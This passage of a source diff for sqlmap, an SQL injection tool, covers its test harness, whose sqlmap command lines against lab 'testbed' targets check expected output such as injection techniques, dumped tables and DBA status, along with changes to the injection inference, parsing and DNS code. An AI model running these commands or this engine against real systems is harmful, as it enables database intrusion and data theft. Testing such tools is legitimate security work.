("-u 'http://testbed/mariadb/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.0 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "10.4.12-MariaDB-1:10.4.12+maria~bionic", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
# MySQL
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'MySQL'", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is MySQL", "appears to have 3 columns", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --technique=E --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("8.0.19", "Database: testdb", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: MySQL >= 5.0 AND error-based", "the back-end DBMS is MySQL", "current user is DBA: True", ": 'foobar'")),
("-u 'http://testbed/mysql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: MySQL >= 5.1 AND error-based", "Title: MySQL >= 5.0.12 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "8.0.19", "current database: 'testdb'", "current user: 'root@%'", "[1 column]", "| surname | varchar(1000) |")),
# PostgreSQL
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=B --is-dba --threads=4 --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Payload: id=1 AND ", "it looks like the back-end DBMS is 'PostgreSQL'", "the back-end DBMS is PostgreSQL", "current user is DBA: False", ": 'foobar'")),
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --technique=U --is-dba --dump -D CD --banner --sql-query=\"SELECT 'foobar'\"", ("x86_64-pc-linux-gnu", "Database: public", "Table: testusers", "5 entries", "id", "name", "surname", "luther", "blisset", "NULL", "Title: Generic UNION query (NULL) - 3 columns", "the back-end DBMS is PostgreSQL", "appears to have 3 columns", "current user is DBA: False", ": 'foobar'")),
("-u 'http://testbed/postgresql/get_int.php?id=1' --flush-session --hex --banner --current-user --current-db --search -C surname --answers='dump=n'", ("Title: AND boolean-based blind", "Title: PostgreSQL AND error-based", "Title: PostgreSQL > 8.1 stacked queries", "Title: PostgreSQL > 8.1 AND time-based blind", "Title: Generic UNION query (NULL) - 3 columns", "x86_64-pc-linux-gnu", "current database (equivalent to schema on PostgreSQL): 'public'", "current user: 'testuser'", "[1 column]", "| surname | varchar |")),
)
retVal = True
count = 0
for options, checks in TESTS:
status = '%d/%d (%d%%) ' % (count, len(TESTS), round(100.0 * count / len(TESTS)))
dataToStdout("\r[%s] [INFO] complete: %s" % (time.strftime("%X"), status))
cmd = "%s %s %s --batch" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), options)
output = shellExec(cmd)
if not all((check in output if not check.startswith('~') else check[1:] not in output) for check in checks):
for check in checks:
if check not in output:
print(cmd, check)
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % output, coloring=False)
retVal = False
count += 1
clearConsoleLine()
if retVal:
logger.info("bed test final result: PASSED")
else:
logger.error("best test final result: FAILED")
return retVal
def fuzzTest():
count = 0
address, port = "127.0.0.10", random.randint(1025, 65535)
def _thread():
vulnserver.init(quiet=True)
vulnserver.run(address=address, port=port)
thread = threading.Thread(target=_thread)
thread.daemon = True
thread.start()
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((address, port))
break
except:
time.sleep(1)
handle, config = tempfile.mkstemp(suffix=".conf")
os.close(handle)
url = "http://%s:%d/?id=1" % (address, port)
content = open(os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.conf"))).read().replace("url =", "url = %s" % url)
open(config, "w+").write(content)
while True:
lines = content.split("\n")
for i in xrange(20):
j = random.randint(0, len(lines) - 1)
if any(_ in lines[j] for _ in ("googleDork",)):
continue
if lines[j].strip().endswith('='):
lines[j] += random.sample(("True", "False", randomStr(), str(randomInt())), 1)[0]
k = random.randint(0, len(lines) - 1)
if '=' in lines[k]:
lines[k] += chr(random.randint(0, 255))
open(config, "w+").write("\n".join(lines))
cmd = "%s %s -c %s --non-interactive --answers='Github=n' --flush-session --technique=%s --banner" % (sys.executable, os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "sqlmap.py")), config, random.sample("BEUQ", 1)[0])
output = shellExec(cmd)
if "Traceback" in output:
dataToStdout("---\n\n$ %s\n" % cmd)
dataToStdout("%s---\n" % output, coloring=False)
handle, config = tempfile.mkstemp(prefix="sqlmapcrash", suffix=".conf")
os.close(handle)
open(config, "w+").write("\n".join(lines))
else:
dataToStdout("\r%d\r" % count)
count += 1
def smokeTest():
"""
Runs the basic smoke testing of a program
"""
dirtyPatchRandom()
unisonRandom()
content = open(paths.ERRORS_XML, "r").read()
for regex in re.findall(r'<error regexp="(.+?)"/>', content):
try:
re.compile(regex)
except re.error:
errMsg = "smoke test failed at compiling '%s'" % regex
logger.error(errMsg)
return False
retVal = True
count, length = 0, 0
@@ -264,233 +394,3 @@ def smokeTest():
logger.error("smoke test final result: FAILED")
return retVal
def adjustValueType(tagName, value):
for family in optDict:
for name, type_ in optDict[family].items():
if type(type_) == tuple:
type_ = type_[0]
if tagName == name:
if type_ == "boolean":
value = (value == "True")
elif type_ == "integer":
value = int(value)
elif type_ == "float":
value = float(value)
break
return value
def liveTest():
"""
Runs the test of a program against the live testing environment
"""
retVal = True
count = 0
global_ = {}
vars_ = {}
livetests = readXmlFile(paths.LIVE_TESTS_XML)
length = len(livetests.getElementsByTagName("case"))
element = livetests.getElementsByTagName("global")
if element:
for item in element:
for child in item.childNodes:
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
global_[child.tagName] = adjustValueType(child.tagName, child.getAttribute("value"))
element = livetests.getElementsByTagName("vars")
if element:
for item in element:
for child in item.childNodes:
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
var = child.getAttribute("value")
vars_[child.tagName] = randomStr(6) if var == "random" else var
for case in livetests.getElementsByTagName("case"):
parse_from_console_output = False
count += 1
name = None
parse = []
switches = dict(global_)
value = ""
vulnerable = True
result = None
if case.hasAttribute("name"):
name = case.getAttribute("name")
if conf.runCase and ((conf.runCase.isdigit() and conf.runCase != count) or not re.search(conf.runCase, name, re.DOTALL)):
continue
if case.getElementsByTagName("switches"):
for child in case.getElementsByTagName("switches")[0].childNodes:
if child.nodeType == child.ELEMENT_NODE and child.hasAttribute("value"):
value = replaceVars(child.getAttribute("value"), vars_)
switches[child.tagName] = adjustValueType(child.tagName, value)
if case.getElementsByTagName("parse"):
for item in case.getElementsByTagName("parse")[0].getElementsByTagName("item"):
if item.hasAttribute("value"):
value = replaceVars(item.getAttribute("value"), vars_)
if item.hasAttribute("console_output"):
parse_from_console_output = bool(item.getAttribute("console_output"))
parse.append((value, parse_from_console_output))
conf.verbose = global_.get("verbose", 1)
setVerbosity()
msg = "running live test case: %s (%d/%d)" % (name, count, length)
logger.info(msg)
initCase(switches, count)
test_case_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "test_case"), "wb", UNICODE_ENCODING)
test_case_fd.write("%s\n" % name)
try:
result = runCase(parse)
except SqlmapNotVulnerableException:
vulnerable = False
finally:
conf.verbose = global_.get("verbose", 1)
setVerbosity()
if result is True:
logger.info("test passed")
cleanCase()
else:
errMsg = "test failed"
if _failures.failedItems:
errMsg += " at parsing items: %s" % ", ".join(i for i in _failures.failedItems)
errMsg += " - scan folder: %s" % paths.SQLMAP_OUTPUT_PATH
errMsg += " - traceback: %s" % bool(_failures.failedTraceBack)
if not vulnerable:
errMsg += " - SQL injection not detected"
logger.error(errMsg)
test_case_fd.write("%s\n" % errMsg)
if _failures.failedParseOn:
console_output_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "console_output"), "wb", UNICODE_ENCODING)
console_output_fd.write(_failures.failedParseOn)
console_output_fd.close()
if _failures.failedTraceBack:
traceback_fd = codecs.open(os.path.join(paths.SQLMAP_OUTPUT_PATH, "traceback"), "wb", UNICODE_ENCODING)
traceback_fd.write(_failures.failedTraceBack)
traceback_fd.close()
beep()
if conf.stopFail is True:
return retVal
test_case_fd.close()
retVal &= bool(result)
dataToStdout("\n")
if retVal:
logger.info("live test final result: PASSED")
else:
logger.error("live test final result: FAILED")
return retVal
def initCase(switches, count):
_failures.failedItems = []
_failures.failedParseOn = None
_failures.failedTraceBack = None
paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")
logger.debug("using output directory '%s' for this test case" % paths.SQLMAP_OUTPUT_PATH)
LOGGER_HANDLER.stream = sys.stdout = tempfile.SpooledTemporaryFile(max_size=0, mode="w+b", prefix="sqlmapstdout-")
cmdLineOptions = cmdLineParser()
if switches:
for key, value in switches.items():
if key in cmdLineOptions.__dict__:
cmdLineOptions.__dict__[key] = value
initOptions(cmdLineOptions, True)
init()
def cleanCase():
shutil.rmtree(paths.SQLMAP_OUTPUT_PATH, True)
def runCase(parse):
retVal = True
handled_exception = None
unhandled_exception = None
result = False
console = ""
try:
result = start()
except KeyboardInterrupt:
pass
except SqlmapBaseException as ex:
handled_exception = ex
except Exception as ex:
unhandled_exception = ex
finally:
sys.stdout.seek(0)
console = sys.stdout.read()
LOGGER_HANDLER.stream = sys.stdout = sys.__stdout__
if unhandled_exception:
_failures.failedTraceBack = "unhandled exception: %s" % str(traceback.format_exc())
retVal = None
elif handled_exception:
_failures.failedTraceBack = "handled exception: %s" % str(traceback.format_exc())
retVal = None
elif result is False: # this means no SQL injection has been detected - if None, ignore
retVal = False
console = getUnicode(console, encoding=sys.stdin.encoding)
if parse and retVal:
with codecs.open(conf.dumper.getOutputFile(), "rb", UNICODE_ENCODING) as f:
content = f.read()
for item, parse_from_console_output in parse:
parse_on = console if parse_from_console_output else content
if item.startswith("r'") and item.endswith("'"):
if not re.search(item[2:-1], parse_on, re.DOTALL):
retVal = None
_failures.failedItems.append(item)
elif item not in parse_on:
retVal = None
_failures.failedItems.append(item)
if _failures.failedItems:
_failures.failedParseOn = console
elif retVal is False:
_failures.failedParseOn = console
return retVal
def replaceVars(item, vars_):
retVal = item
if item and vars_:
for var in re.findall(r"\$\{([^}]+)\}", item):
if var in vars_:
retVal = retVal.replace("${%s}" % var, vars_[var])
return retVal
+2 -2
View File
@@ -101,7 +101,7 @@ def exceptionHandledFunction(threadFunction, silent=False):
except Exception as ex:
from lib.core.common import getSafeExString
if not silent and kb.get("threadContinue") and not isinstance(ex, SqlmapUserQuitException):
if not silent and kb.get("threadContinue") and not kb.get("multipleCtrlC") and not isinstance(ex, SqlmapUserQuitException):
errMsg = getSafeExString(ex) if isinstance(ex, SqlmapBaseException) else "%s: %s" % (type(ex).__name__, getSafeExString(ex))
logger.error("thread %s: '%s'" % (threading.currentThread().getName(), errMsg))
@@ -175,7 +175,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
while alive:
alive = False
for thread in threads:
if thread.isAlive():
if thread.is_alive():
alive = True
time.sleep(0.1)
+9 -4
View File
@@ -21,10 +21,15 @@ class Unescaper(AttribDict):
identifiedDbms = Backend.getIdentifiedDbms()
if dbms is not None:
return self[dbms](expression, quote=quote)
elif identifiedDbms is not None:
return self[identifiedDbms](expression, quote=quote)
retVal = self[dbms](expression, quote=quote)
elif identifiedDbms is not None and identifiedDbms in self:
retVal = self[identifiedDbms](expression, quote=quote)
else:
return expression
retVal = expression
# e.g. inference comparison for '
retVal = retVal.replace("'''", "''''")
return retVal
unescaper = Unescaper()
+14 -8
View File
@@ -83,6 +83,7 @@ from lib.core.exception import SqlmapSyntaxException
from lib.core.option import _createHomeDirectories
from lib.core.settings import BASIC_HELP_ITEMS
from lib.core.settings import DUMMY_URL
from lib.core.settings import IGNORED_OPTIONS
from lib.core.settings import INFERENCE_UNKNOWN_CHAR
from lib.core.settings import IS_WIN
from lib.core.settings import MAX_HELP_OPTION_LENGTH
@@ -252,7 +253,7 @@ def cmdLineParser(argv=None):
help="Load safe HTTP request from a file")
request.add_argument("--safe-freq", dest="safeFreq", type=int,
help="Test requests between two visits to a given safe URL")
help="Regular requests between visits to a safe URL")
request.add_argument("--skip-urlencode", dest="skipUrlEncode", action="store_true",
help="Skip URL encoding of payload data")
@@ -682,7 +683,7 @@ def cmdLineParser(argv=None):
help="Save options to a configuration INI file")
general.add_argument("--scope", dest="scope",
help="Regexp to filter targets from provided proxy log")
help="Regexp for filtering targets")
general.add_argument("--skip-waf", dest="skipWaf", action="store_true",
help="Skip heuristic detection of WAF/IPS protection")
@@ -760,6 +761,9 @@ def cmdLineParser(argv=None):
parser.add_argument("--debug", dest="debug", action="store_true",
help=SUPPRESS)
parser.add_argument("--disable-multi", dest="disableMulti", action="store_true",
help=SUPPRESS)
parser.add_argument("--disable-precon", dest="disablePrecon", action="store_true",
help=SUPPRESS)
@@ -781,22 +785,22 @@ def cmdLineParser(argv=None):
parser.add_argument("--force-pivoting", dest="forcePivoting", action="store_true",
help=SUPPRESS)
parser.add_argument("--non-interactive", dest="nonInteractive", action="store_true",
help=SUPPRESS)
parser.add_argument("--gui", dest="gui", action="store_true",
help=SUPPRESS)
parser.add_argument("--smoke-test", dest="smokeTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--live-test", dest="liveTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--vuln-test", dest="vulnTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--stop-fail", dest="stopFail", action="store_true",
parser.add_argument("--bed-test", dest="bedTest", action="store_true",
help=SUPPRESS)
parser.add_argument("--run-case", dest="runCase",
parser.add_argument("--fuzz-test", dest="fuzzTest", action="store_true",
help=SUPPRESS)
# API options
@@ -931,6 +935,8 @@ def cmdLineParser(argv=None):
elif re.search(r"\A-\w{3,}", argv[i]):
if argv[i].strip('-').split('=')[0] in (longOptions | longSwitches):
argv[i] = "-%s" % argv[i]
elif argv[i] in IGNORED_OPTIONS:
argv[i] = ""
elif argv[i] in DEPRECATED_OPTIONS:
argv[i] = ""
elif argv[i].startswith("--tamper"):
@@ -1005,7 +1011,7 @@ def cmdLineParser(argv=None):
if args.dummy:
args.url = args.url or DUMMY_URL
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.liveTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
if not any((args.direct, args.url, args.logFile, args.bulkFile, args.googleDork, args.configFile, args.requestFile, args.updateAll, args.smokeTest, args.vulnTest, args.bedTest, args.fuzzTest, args.wizard, args.dependencies, args.purge, args.listTampers, args.hashFile)):
errMsg = "missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --list-tampers, --wizard, --update, --purge or --dependencies). "
errMsg += "Use -h for basic and -hh for advanced help\n"
parser.error(errMsg)
+16 -6
View File
@@ -26,7 +26,10 @@ class HTMLHandler(ContentHandler):
self._dbms = None
self._page = (page or "")
self._lower_page = self._page.lower()
try:
self._lower_page = self._page.lower()
except SystemError: # https://bugs.python.org/issue18183
self._lower_page = None
self._urldecoded_page = urldecode(self._page)
self.dbms = None
@@ -49,20 +52,31 @@ class HTMLHandler(ContentHandler):
keywords = sorted(keywords, key=len)
kb.cache.regex[regexp] = keywords[-1].lower()
if kb.cache.regex[regexp] in self._lower_page and re.search(regexp, self._urldecoded_page, re.I):
if ('|' in regexp or kb.cache.regex[regexp] in (self._lower_page or kb.cache.regex[regexp])) and re.search(regexp, self._urldecoded_page, re.I):
self.dbms = self._dbms
self._markAsErrorPage()
kb.forkNote = kb.forkNote or attrs.get("fork")
def htmlParser(page):
"""
This function calls a class that parses the input HTML page to
fingerprint the back-end database management system
>>> from lib.core.enums import DBMS
>>> htmlParser("Warning: mysql_fetch_array() expects parameter 1 to be resource") == DBMS.MYSQL
True
>>> threadData = getCurrentThreadData()
>>> threadData.lastErrorPage = None
"""
xmlfile = paths.ERRORS_XML
handler = HTMLHandler(page)
key = hash(page)
# generic SQL warning/error messages
if re.search(r"SQL (warning|error|syntax)", page, re.I):
handler._markAsErrorPage()
if key in kb.cache.parsedDbms:
retVal = kb.cache.parsedDbms[key]
if retVal:
@@ -79,8 +93,4 @@ def htmlParser(page):
kb.cache.parsedDbms[key] = handler.dbms
# generic SQL warning/error messages
if re.search(r"SQL (warning|error|syntax)", page, re.I):
handler._markAsErrorPage()
return handler.dbms
+24 -6
View File
@@ -41,10 +41,10 @@ def cleanupVals(text, tag):
return text
def parseXmlNode(node):
for element in node.getiterator("boundary"):
for element in node.findall("boundary"):
boundary = AttribDict()
for child in element.getchildren():
for child in element:
if child.text:
values = cleanupVals(child.text, child.tag)
boundary[child.tag] = values
@@ -53,21 +53,21 @@ def parseXmlNode(node):
conf.boundaries.append(boundary)
for element in node.getiterator("test"):
for element in node.findall("test"):
test = AttribDict()
for child in element.getchildren():
for child in element:
if child.text and child.text.strip():
values = cleanupVals(child.text, child.tag)
test[child.tag] = values
else:
if len(child.getchildren()) == 0:
if len(child.findall("*")) == 0:
test[child.tag] = None
continue
else:
test[child.tag] = AttribDict()
for gchild in child.getchildren():
for gchild in child:
if gchild.tag in test[child.tag]:
prevtext = test[child.tag][gchild.tag]
test[child.tag][gchild.tag] = [prevtext, gchild.text]
@@ -77,6 +77,15 @@ def parseXmlNode(node):
conf.tests.append(test)
def loadBoundaries():
"""
Loads boundaries from XML
>>> conf.boundaries = []
>>> loadBoundaries()
>>> len(conf.boundaries) > 0
True
"""
try:
doc = et.parse(paths.BOUNDARIES_XML)
except Exception as ex:
@@ -89,6 +98,15 @@ def loadBoundaries():
parseXmlNode(root)
def loadPayloads():
"""
Loads payloads/tests from XML
>>> conf.tests = []
>>> loadPayloads()
>>> len(conf.tests) > 0
True
"""
for payloadFile in PAYLOAD_XML_FILES:
payloadFilePath = os.path.join(paths.SQLMAP_XML_PAYLOADS_PATH, payloadFile)
+2 -1
View File
@@ -343,7 +343,8 @@ def decodePage(page, contentEncoding, contentType, percentDecode=True):
# e.g. %20%28%29
if percentDecode:
if b"%" in page:
page = re.sub(b"%([0-9a-fA-F]{2})", lambda _: decodeHex(_.group(1)), page)
page = re.sub(b"%([0-9a-f]{2})", lambda _: decodeHex(_.group(1)), page)
page = re.sub(b"%([0-9A-F]{2})", lambda _: decodeHex(_.group(1)), page) # Note: %DeepSee_SQL in CACHE
# e.g. &amp;
page = re.sub(b"&([^;]+);", lambda _: six.int2byte(HTML_ENTITIES[getText(_.group(1))]) if HTML_ENTITIES.get(getText(_.group(1)), 256) < 256 else _.group(0), page)
+4 -5
View File
@@ -584,15 +584,14 @@ class Connect(object):
refresh = extractRegexResult(JAVASCRIPT_HREF_REGEX, page)
if refresh:
debugMsg = "got Javascript redirect request"
debugMsg = "got Javascript redirect logic"
logger.debug(debugMsg)
if refresh:
if kb.alwaysRefresh is None:
msg = "got a refresh request "
msg = "got a refresh intent "
msg += "(redirect like response common to login pages) to '%s'. " % refresh
msg += "Do you want to apply the refresh "
msg += "from now on (or stay on the original page)? [Y/n]"
msg += "Do you want to apply it from now on? [Y/n]"
kb.alwaysRefresh = readInput(msg, default='Y', boolean=True)
@@ -1222,7 +1221,7 @@ class Connect(object):
for name, value in variables.items():
if name != "__builtins__" and originals.get(name, "") != value:
if isinstance(value, (int, six.string_types)):
if isinstance(value, (int, float, six.string_types)):
found = False
value = getUnicode(value, UNICODE_ENCODING)
+56 -39
View File
@@ -11,10 +11,58 @@ import binascii
import os
import re
import socket
import struct
import threading
import time
class DNSQuery(object):
"""
>>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com."
True
>>> DNSQuery(b'\\x00')._query == b""
True
"""
def __init__(self, raw):
self._raw = raw
self._query = b""
try:
type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query
i = 12
j = ord(raw[i:i + 1])
while j != 0:
self._query += raw[i + 1:i + j + 1] + b'.'
i = i + j + 1
j = ord(raw[i:i + 1])
except TypeError:
pass
def response(self, resolution):
"""
Crafts raw DNS resolution response packet
"""
retVal = b""
if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += b"\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + b"\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find(b"\x00") + 5)] # Original Domain Name Query
retVal += b"\xc0\x0c" # Pointer to domain name
retVal += b"\x00\x01" # Type A
retVal += b"\x00\x01" # Class IN
retVal += b"\x00\x00\x00\x20" # TTL (32 seconds)
retVal += b"\x00\x04" # Data length
retVal += b"".join(struct.pack('B', int(_)) for _ in resolution.split('.')) # 4 bytes of IP
return retVal
class DNSServer(object):
"""
Used for making fake DNS resolution responses based on received
raw request
@@ -24,43 +72,6 @@ class DNSQuery(object):
https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py
"""
def __init__(self, raw):
self._raw = raw
self._query = ""
type_ = (ord(raw[2]) >> 3) & 15 # Opcode bits
if type_ == 0: # Standard query
i = 12
j = ord(raw[i])
while j != 0:
self._query += raw[i + 1:i + j + 1] + '.'
i = i + j + 1
j = ord(raw[i])
def response(self, resolution):
"""
Crafts raw DNS resolution response packet
"""
retVal = ""
if self._query:
retVal += self._raw[:2] # Transaction ID
retVal += "\x85\x80" # Flags (Standard query response, No error)
retVal += self._raw[4:6] + self._raw[4:6] + "\x00\x00\x00\x00" # Questions and Answers Counts
retVal += self._raw[12:(12 + self._raw[12:].find("\x00") + 5)] # Original Domain Name Query
retVal += "\xc0\x0c" # Pointer to domain name
retVal += "\x00\x01" # Type A
retVal += "\x00\x01" # Class IN
retVal += "\x00\x00\x00\x20" # TTL (32 seconds)
retVal += "\x00\x04" # Data length
retVal += "".join(chr(int(_)) for _ in resolution.split('.')) # 4 bytes of IP
return retVal
class DNSServer(object):
def __init__(self):
self._check_localhost()
self._requests = []
@@ -95,11 +106,17 @@ class DNSServer(object):
retVal = None
if prefix and hasattr(prefix, "encode"):
prefix = prefix.encode()
if suffix and hasattr(suffix, "encode"):
suffix = suffix.encode()
with self._lock:
for _ in self._requests:
if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I):
retVal = _
if prefix is None and suffix is None or re.search(b"%s\\..+\\.%s" % (prefix, suffix), _, re.I):
self._requests.remove(_)
retVal = _.decode()
break
return retVal
+14 -6
View File
@@ -105,10 +105,12 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not re.search(r"(COUNT|LTRIM)\(", expression, re.I) and not (timeBasedCompare and not kb.forceThreads):
if field and re.search(r"\ASELECT\s+DISTINCT\((.+?)\)\s+FROM", expression, re.I):
expression = "SELECT %s FROM (%s)" % (field, expression)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
expression += " AS %s" % randomStr(lowercase=True, seed=hash(expression))
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.MONETDB, DBMS.VERTICA, DBMS.CRATEDB, DBMS.CUBRID):
alias = randomStr(lowercase=True, seed=hash(expression))
expression = "SELECT %s FROM (%s)" % (field if '.' not in field else re.sub(r".+\.", "%s." % alias, field), expression) # Note: MonetDB as a prime example
expression += " AS %s" % alias
else:
expression = "SELECT %s FROM (%s)" % (field, expression)
if field and conf.hexConvert or conf.binaryFields and field in conf.binaryFields:
nulledCastedField = agent.nullAndCastField(field)
@@ -410,6 +412,12 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
kb.forcePartialUnion = kb.injection.data[PAYLOAD.TECHNIQUE.UNION].vector[8]
fallback = not expected and kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.ORIGINAL and not kb.forcePartialUnion
if expected == EXPECTED.BOOL:
# Note: some DBMSes (e.g. Altibase) don't support implicit conversion of boolean check result during concatenation with prefix and suffix (e.g. 'qjjvq'||(1=1)||'qbbbq')
if not any(_ in forgeCaseExpression for _ in ("SELECT", "CASE")):
forgeCaseExpression = "(CASE WHEN (%s) THEN '1' ELSE '0' END)" % forgeCaseExpression
try:
value = _goUnion(forgeCaseExpression if expected == EXPECTED.BOOL else query, unpack, dump)
except SqlmapConnectionException:
@@ -491,10 +499,10 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser
kb.safeCharEncode = False
if not any((kb.testMode, conf.dummy, conf.offline)) and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert:
if not any((kb.testMode, conf.dummy, conf.offline, conf.noCast, conf.hexConvert)) and value is None and Backend.getDbms() and conf.dbmsHandler and kb.fingerprinted:
warnMsg = "in case of continuous data retrieval problems you are advised to try "
warnMsg += "a switch '--no-cast' "
warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else ""
warnMsg += "or switch '--hex'" if hasattr(queries[Backend.getIdentifiedDbms()], "hex") else ""
singleTimeWarnMessage(warnMsg)
# Dirty patch (safe-encoded unicode characters)
-7
View File
@@ -569,13 +569,6 @@ class Metasploit(object):
errMsg += "to open a remote session"
raise SqlmapGenericException(errMsg)
if conf.liveTest and timeout:
if initialized:
send_all(proc, "exit\n")
time.sleep(2)
else:
proc.kill()
except select.error as ex:
# Reference: https://github.com/andymccurdy/redis-py/pull/743/commits/2b59b25bb08ea09e98aede1b1f23a270fc085a9f
if ex.args[0] == errno.EINTR:
+25 -7
View File
@@ -108,6 +108,24 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
return 0, retVal
if Backend.isDbms(DBMS.MCKOI):
match = re.search(r"\ASELECT\b(.+)\bFROM\b(.+)\Z", expression, re.I)
if match:
original = queries[Backend.getIdentifiedDbms()].inference.query
right = original.split('<')[1]
payload = payload.replace(right, "(SELECT %s FROM %s)" % (right, match.group(2).strip()))
expression = match.group(1).strip()
elif Backend.isDbms(DBMS.FRONTBASE):
match = re.search(r"\ASELECT\b(\s+TOP\s*\([^)]+\)\s+)?(.+)\bFROM\b(.+)\Z", expression, re.I)
if match:
payload = payload.replace(INFERENCE_GREATER_CHAR, " FROM %s)%s" % (match.group(3).strip(), INFERENCE_GREATER_CHAR))
payload = payload.replace("SUBSTRING", "(SELECT%sSUBSTRING" % (match.group(1) if match.group(1) else " "), 1)
expression = match.group(2).strip()
#<inference query="(SELECT SUBSTRING((%s) FROM %d FOR 1) FROM %s)>'%c'"/>
try:
# Set kb.partRun in case "common prediction" feature (a.k.a. "good samaritan") is used or the engine is called from the API
if conf.predictOutput:
@@ -119,9 +137,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
if partialValue:
firstChar = len(partialValue)
elif re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
elif re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
firstChar = 0
elif (kb.fileReadMode or dump) and conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
elif conf.firstChar is not None and (isinstance(conf.firstChar, int) or (hasattr(conf.firstChar, "isdigit") and conf.firstChar.isdigit())):
firstChar = int(conf.firstChar) - 1
if kb.fileReadMode:
firstChar <<= 1
@@ -130,9 +148,9 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
else:
firstChar = 0
if re.search(r"(?i)\b(LENGTH|LEN)\(", expression):
if re.search(r"(?i)(\b|CHAR_)(LENGTH|LEN)\(", expression):
lastChar = 0
elif dump and conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
elif conf.lastChar is not None and (isinstance(conf.lastChar, int) or (hasattr(conf.lastChar, "isdigit") and conf.lastChar.isdigit())):
lastChar = int(conf.lastChar)
elif hasattr(lastChar, "isdigit") and lastChar.isdigit() or isinstance(lastChar, int):
lastChar = int(lastChar)
@@ -195,7 +213,7 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
hintValue = kb.hintValue
if payload is not None and len(hintValue or "") > 0 and len(hintValue) >= idx:
if Backend.getIdentifiedDbms() in (DBMS.SQLITE, DBMS.ACCESS, DBMS.MAXDB, DBMS.DB2):
